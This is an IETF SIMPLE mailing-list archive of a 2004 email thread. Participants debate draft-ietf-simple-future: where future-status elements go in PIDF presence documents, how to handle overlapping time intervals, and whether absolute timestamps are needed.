	by ietf-mx with esmtp (Exim 4.12)
	id 1Axw7u-00046P-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:43:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axw6u-00040v-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:42:06 -0500
Received: from zrc2s0jx.nortelnetworks.com ([47.103.122.112])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axw6O-0003uL-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:41:32 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zrc2s0jx.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i21Mekr11485;
	Mon, 1 Mar 2004 16:40:46 -0600 (CST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS343901>; Mon, 1 Mar 2004 16:40:47 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECEA1@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3FFDE.3B1BF47A"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 16:40:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.7 required=5.0 tests=AWL,HTML_30_40,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3FFDE.3B1BF47A
Content-Type: text/plain;
	charset="iso-8859-1"

Yeah, ok. That's a valid point.

Thanks,

Brian

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
Sent: Monday, March 01, 2004 10:37 AM
To: Stucker, Brian [NGC:B617:EXCH]
Cc: Paul Kyzivat; Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


Yes, I think you need them.

The reason is that, if you used relative timestamps, then the timestamps 
need to be recomputed every time the presence document is fetched or 
sent in a notify. This requires a "re-encoding" of the document into XML 
from whatever internal form is being used, and ends up being very 
expensive. Plus, without absolute timestamps, the document doesnt stand 
on its own. It would only be defined relative to the time of delivery in 
a transport protocol. That would prohibit me from putting such a doc on 
a web page, if I so desired (for example).

-Jonathan R.

Brian Stucker wrote:

> On a similar note... I didn't want to bring this up during the meeting 
> today because of the compressed schedule, but are we really happy with 
> using absolute time stamps? I'm a bit worried about using them when 
> we've gone back and gotten rid of them elsewhere in the protocol. Am I 
> just being paranoid?
> 
> Regards,
> 
> Brian
> 
> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Monday, March 01, 2004 9:09 AM
> To: Paul Kyzivat
> Cc: Simple WG
> Subject: Re: [Simple] Comments on draft-ietf-simple-future
> 
> 
> 
> 
> Paul Kyzivat wrote:
> 
>  >
>  >
>  > Jonathan Rosenberg wrote:
>  >
>  >>>  Future status cannot be expressed with <tuples> elements with
>  >>>    optional extensions since PIDF parsers would not be able to
>  >>>    distinguish current from future or past information.
>  >>
>  >>
>  >>
>  >> I think you mean <tuple> elements. In any case, this text is not quite
>  >> right. You are in fact extending <tuple> with an optional extension,
>  >> <future-status>. What I think you mean is that you cannot just extend
>  >> an existing element, like <activity>, with attributes that define the
>  >> future status, because these would not be understood and thus
>  >> misinterpreted as current status.
>  >
>  >
>  > Not only can't, but don't want to. The goal is to provide a way to use
>  > all the normal attributes that define current status to define future
>  > status as well. So the goal is to provide a separate context in which
>  > the existing elements may be used where they won't be misunderstood by
>  > those who don't understand this extension.
>  >
>  >> Unfortunately, the nature of the schemas is that the new one cannot
>  >> say where in the PIDF document this is supposed to go. You need to
>  >> specify that this element MUST be a child of <tuple>. Also, can you
>  >> have more than one (I think so)? In that case, can they represent
>  >> overlapping times (I think so)?
>  >
>  >
>  > That is an ugly case, because when there is an overlap, which takes
>  > precedence?
> 
> I had in mind cases where the attributes in the overlapping time-spaces
> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a
> meeting> from 1030am to noon.
> 
> I suppose we could just mandate that the PA only generate notifications
> with non-overlapping intervals. This forces the PA to do any kind of
> precedence computations. I think the PA is the only one that can do it.
> 
> -Jonathan R.
> 
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

------_=_NextPart_001_01C3FFDE.3B1BF47A
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Yeah, ok. That's a valid point.</FONT>
</P>

<P><FONT SIZE=2>Thanks,</FONT>
</P>

<P><FONT SIZE=2>Brian</FONT>
</P>

<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: Jonathan Rosenberg [<A HREF="mailto:jdrosen@dynamicsoft.com">mailto:jdrosen@dynamicsoft.com</A>]</FONT>
<BR><FONT SIZE=2>Sent: Monday, March 01, 2004 10:37 AM</FONT>
<BR><FONT SIZE=2>To: Stucker, Brian [NGC:B617:EXCH]</FONT>
<BR><FONT SIZE=2>Cc: Paul Kyzivat; Simple WG</FONT>
<BR><FONT SIZE=2>Subject: Re: [Simple] Comments on draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=2>Yes, I think you need them.</FONT>
</P>

<P><FONT SIZE=2>The reason is that, if you used relative timestamps, then the timestamps </FONT>
<BR><FONT SIZE=2>need to be recomputed every time the presence document is fetched or </FONT>
<BR><FONT SIZE=2>sent in a notify. This requires a &quot;re-encoding&quot; of the document into XML </FONT>
<BR><FONT SIZE=2>from whatever internal form is being used, and ends up being very </FONT>
<BR><FONT SIZE=2>expensive. Plus, without absolute timestamps, the document doesnt stand </FONT>
<BR><FONT SIZE=2>on its own. It would only be defined relative to the time of delivery in </FONT>
<BR><FONT SIZE=2>a transport protocol. That would prohibit me from putting such a doc on </FONT>
<BR><FONT SIZE=2>a web page, if I so desired (for example).</FONT>
</P>

<P><FONT SIZE=2>-Jonathan R.</FONT>
</P>

<P><FONT SIZE=2>Brian Stucker wrote:</FONT>
</P>

<P><FONT SIZE=2>&gt; On a similar note... I didn't want to bring this up during the meeting </FONT>
<BR><FONT SIZE=2>&gt; today because of the compressed schedule, but are we really happy with </FONT>
<BR><FONT SIZE=2>&gt; using absolute time stamps? I'm a bit worried about using them when </FONT>
<BR><FONT SIZE=2>&gt; we've gone back and gotten rid of them elsewhere in the protocol. Am I </FONT>
<BR><FONT SIZE=2>&gt; just being paranoid?</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Regards,</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Brian</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=2>&gt; From: Jonathan Rosenberg [<A HREF="mailto:jdrosen@dynamicsoft.com">mailto:jdrosen@dynamicsoft.com</A>]</FONT>
<BR><FONT SIZE=2>&gt; Sent: Monday, March 01, 2004 9:09 AM</FONT>
<BR><FONT SIZE=2>&gt; To: Paul Kyzivat</FONT>
<BR><FONT SIZE=2>&gt; Cc: Simple WG</FONT>
<BR><FONT SIZE=2>&gt; Subject: Re: [Simple] Comments on draft-ietf-simple-future</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Paul Kyzivat wrote:</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; Jonathan Rosenberg wrote:</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;&gt;&nbsp; Future status cannot be expressed with &lt;tuples&gt; elements with</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;&gt;&nbsp;&nbsp;&nbsp; optional extensions since PIDF parsers would not be able to</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;&gt;&nbsp;&nbsp;&nbsp; distinguish current from future or past information.</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; I think you mean &lt;tuple&gt; elements. In any case, this text is not quite</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; right. You are in fact extending &lt;tuple&gt; with an optional extension,</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; &lt;future-status&gt;. What I think you mean is that you cannot just extend</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; an existing element, like &lt;activity&gt;, with attributes that define the</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; future status, because these would not be understood and thus</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; misinterpreted as current status.</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; Not only can't, but don't want to. The goal is to provide a way to use</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; all the normal attributes that define current status to define future</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; status as well. So the goal is to provide a separate context in which</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; the existing elements may be used where they won't be misunderstood by</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; those who don't understand this extension.</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; Unfortunately, the nature of the schemas is that the new one cannot</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; say where in the PIDF document this is supposed to go. You need to</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; specify that this element MUST be a child of &lt;tuple&gt;. Also, can you</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; have more than one (I think so)? In that case, can they represent</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; overlapping times (I think so)?</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; That is an ugly case, because when there is an overlap, which takes</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; precedence?</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; I had in mind cases where the attributes in the overlapping time-spaces</FONT>
<BR><FONT SIZE=2>&gt; themselves did not overlap, e.g., i was &lt;busy&gt; from 10am-11am and &lt;in a</FONT>
<BR><FONT SIZE=2>&gt; meeting&gt; from 1030am to noon.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; I suppose we could just mandate that the PA only generate notifications</FONT>
<BR><FONT SIZE=2>&gt; with non-overlapping intervals. This forces the PA to do any kind of</FONT>
<BR><FONT SIZE=2>&gt; precedence computations. I think the PA is the only one that can do it.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; -Jonathan R.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; -- </FONT>
<BR><FONT SIZE=2>&gt; Jonathan D. Rosenberg, Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>
<BR><FONT SIZE=2>&gt; Chief Technology Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ 07054-2711</FONT>
<BR><FONT SIZE=2>&gt; dynamicsoft</FONT>
<BR><FONT SIZE=2>&gt; jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>
<BR><FONT SIZE=2>&gt; <A HREF="http://www.jdrosen.net" TARGET="_blank">http://www.jdrosen.net</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>
<BR><FONT SIZE=2>&gt; <A HREF="http://www.dynamicsoft.com" TARGET="_blank">http://www.dynamicsoft.com</A></FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; _______________________________________________</FONT>
<BR><FONT SIZE=2>&gt; Simple mailing list</FONT>
<BR><FONT SIZE=2>&gt; Simple@ietf.org</FONT>
<BR><FONT SIZE=2>&gt; <A HREF="https://www1.ietf.org/mailman/listinfo/simple" TARGET="_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FONT>
<BR><FONT SIZE=2>&gt; </FONT>
</P>

<P><FONT SIZE=2>-- </FONT>
<BR><FONT SIZE=2>Jonathan D. Rosenberg, Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>
<BR><FONT SIZE=2>Chief Technology Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ 07054-2711</FONT>
<BR><FONT SIZE=2>dynamicsoft</FONT>
<BR><FONT SIZE=2>jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>
<BR><FONT SIZE=2><A HREF="http://www.jdrosen.net" TARGET="_blank">http://www.jdrosen.net</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>
<BR><FONT SIZE=2><A HREF="http://www.dynamicsoft.com" TARGET="_blank">http://www.dynamicsoft.com</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C3FFDE.3B1BF47A--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 17:46:29 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10591
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 17:46:29 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxwAk-0007oh-EM
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 17:46:02 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21Mk2tb030041
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 17:46:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxwAk-0007oS-AL
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 17:46:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10584
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 17:45:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxwAh-0004Oa-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 17:45:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axw9k-0004Ie-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 17:45:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axw8q-0004Cd-00; Mon, 01 Mar 2004 17:44:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axw8n-0007bD-Pa; Mon, 01 Mar 2004 17:44:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axw7x-0007Zs-0g
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 17:43:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10474
	for <simple@ietf.org>; Mon, 1 Mar 2004 17:43:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axw7u-00046P-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:43:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axw6u-00040v-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:42:06 -0500
Received: from zrc2s0jx.nortelnetworks.com ([47.103.122.112])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axw6O-0003uL-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:41:32 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zrc2s0jx.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i21Mekr11485;
	Mon, 1 Mar 2004 16:40:46 -0600 (CST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS343901>; Mon, 1 Mar 2004 16:40:47 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECEA1@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3FFDE.3B1BF47A"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 16:40:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.7 required=5.0 tests=AWL,HTML_30_40,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3FFDE.3B1BF47A
Content-Type: text/plain;
	charset="iso-8859-1"

Yeah, ok. That's a valid point.

Thanks,

Brian

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
Sent: Monday, March 01, 2004 10:37 AM
To: Stucker, Brian [NGC:B617:EXCH]
Cc: Paul Kyzivat; Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


Yes, I think you need them.

The reason is that, if you used relative timestamps, then the timestamps 
need to be recomputed every time the presence document is fetched or 
sent in a notify. This requires a "re-encoding" of the document into XML 
from whatever internal form is being used, and ends up being very 
expensive. Plus, without absolute timestamps, the document doesnt stand 
on its own. It would only be defined relative to the time of delivery in 
a transport protocol. That would prohibit me from putting such a doc on 
a web page, if I so desired (for example).

-Jonathan R.

Brian Stucker wrote:

> On a similar note... I didn't want to bring this up during the meeting 
> today because of the compressed schedule, but are we really happy with 
> using absolute time stamps? I'm a bit worried about using them when 
> we've gone back and gotten rid of them elsewhere in the protocol. Am I 
> just being paranoid?
> 
> Regards,
> 
> Brian
> 
> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Monday, March 01, 2004 9:09 AM
> To: Paul Kyzivat
> Cc: Simple WG
> Subject: Re: [Simple] Comments on draft-ietf-simple-future
> 
> 
> 
> 
> Paul Kyzivat wrote:
> 
>  >
>  >
>  > Jonathan Rosenberg wrote:
>  >
>  >>>  Future status cannot be expressed with <tuples> elements with
>  >>>    optional extensions since PIDF parsers would not be able to
>  >>>    distinguish current from future or past information.
>  >>
>  >>
>  >>
>  >> I think you mean <tuple> elements. In any case, this text is not quite
>  >> right. You are in fact extending <tuple> with an optional extension,
>  >> <future-status>. What I think you mean is that you cannot just extend
>  >> an existing element, like <activity>, with attributes that define the
>  >> future status, because these would not be understood and thus
>  >> misinterpreted as current status.
>  >
>  >
>  > Not only can't, but don't want to. The goal is to provide a way to use
>  > all the normal attributes that define current status to define future
>  > status as well. So the goal is to provide a separate context in which
>  > the existing elements may be used where they won't be misunderstood by
>  > those who don't understand this extension.
>  >
>  >> Unfortunately, the nature of the schemas is that the new one cannot
>  >> say where in the PIDF document this is supposed to go. You need to
>  >> specify that this element MUST be a child of <tuple>. Also, can you
>  >> have more than one (I think so)? In that case, can they represent
>  >> overlapping times (I think so)?
>  >
>  >
>  > That is an ugly case, because when there is an overlap, which takes
>  > precedence?
> 
> I had in mind cases where the attributes in the overlapping time-spaces
> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a
> meeting> from 1030am to noon.
> 
> I suppose we could just mandate that the PA only generate notifications
> with non-overlapping intervals. This forces the PA to do any kind of
> precedence computations. I think the PA is the only one that can do it.
> 
> -Jonathan R.
> 
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

------_=_NextPart_001_01C3FFDE.3B1BF47A
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Yeah, ok. That's a valid point.</FONT>
</P>

<P><FONT SIZE=2>Thanks,</FONT>
</P>

<P><FONT SIZE=2>Brian</FONT>
</P>

<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: Jonathan Rosenberg [<A HREF="mailto:jdrosen@dynamicsoft.com">mailto:jdrosen@dynamicsoft.com</A>]</FONT>
<BR><FONT SIZE=2>Sent: Monday, March 01, 2004 10:37 AM</FONT>
<BR><FONT SIZE=2>To: Stucker, Brian [NGC:B617:EXCH]</FONT>
<BR><FONT SIZE=2>Cc: Paul Kyzivat; Simple WG</FONT>
<BR><FONT SIZE=2>Subject: Re: [Simple] Comments on draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=2>Yes, I think you need them.</FONT>
</P>

<P><FONT SIZE=2>The reason is that, if you used relative timestamps, then the timestamps </FONT>
<BR><FONT SIZE=2>need to be recomputed every time the presence document is fetched or </FONT>
<BR><FONT SIZE=2>sent in a notify. This requires a &quot;re-encoding&quot; of the document into XML </FONT>
<BR><FONT SIZE=2>from whatever internal form is being used, and ends up being very </FONT>
<BR><FONT SIZE=2>expensive. Plus, without absolute timestamps, the document doesnt stand </FONT>
<BR><FONT SIZE=2>on its own. It would only be defined relative to the time of delivery in </FONT>
<BR><FONT SIZE=2>a transport protocol. That would prohibit me from putting such a doc on </FONT>
<BR><FONT SIZE=2>a web page, if I so desired (for example).</FONT>
</P>

<P><FONT SIZE=2>-Jonathan R.</FONT>
</P>

<P><FONT SIZE=2>Brian Stucker wrote:</FONT>
</P>

<P><FONT SIZE=2>&gt; On a similar note... I didn't want to bring this up during the meeting </FONT>
<BR><FONT SIZE=2>&gt; today because of the compressed schedule, but are we really happy with </FONT>
<BR><FONT SIZE=2>&gt; using absolute time stamps? I'm a bit worried about using them when </FONT>
<BR><FONT SIZE=2>&gt; we've gone back and gotten rid of them elsewhere in the protocol. Am I </FONT>
<BR><FONT SIZE=2>&gt; just being paranoid?</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Regards,</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Brian</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=2>&gt; From: Jonathan Rosenberg [<A HREF="mailto:jdrosen@dynamicsoft.com">mailto:jdrosen@dynamicsoft.com</A>]</FONT>
<BR><FONT SIZE=2>&gt; Sent: Monday, March 01, 2004 9:09 AM</FONT>
<BR><FONT SIZE=2>&gt; To: Paul Kyzivat</FONT>
<BR><FONT SIZE=2>&gt; Cc: Simple WG</FONT>
<BR><FONT SIZE=2>&gt; Subject: Re: [Simple] Comments on draft-ietf-simple-future</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Paul Kyzivat wrote:</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
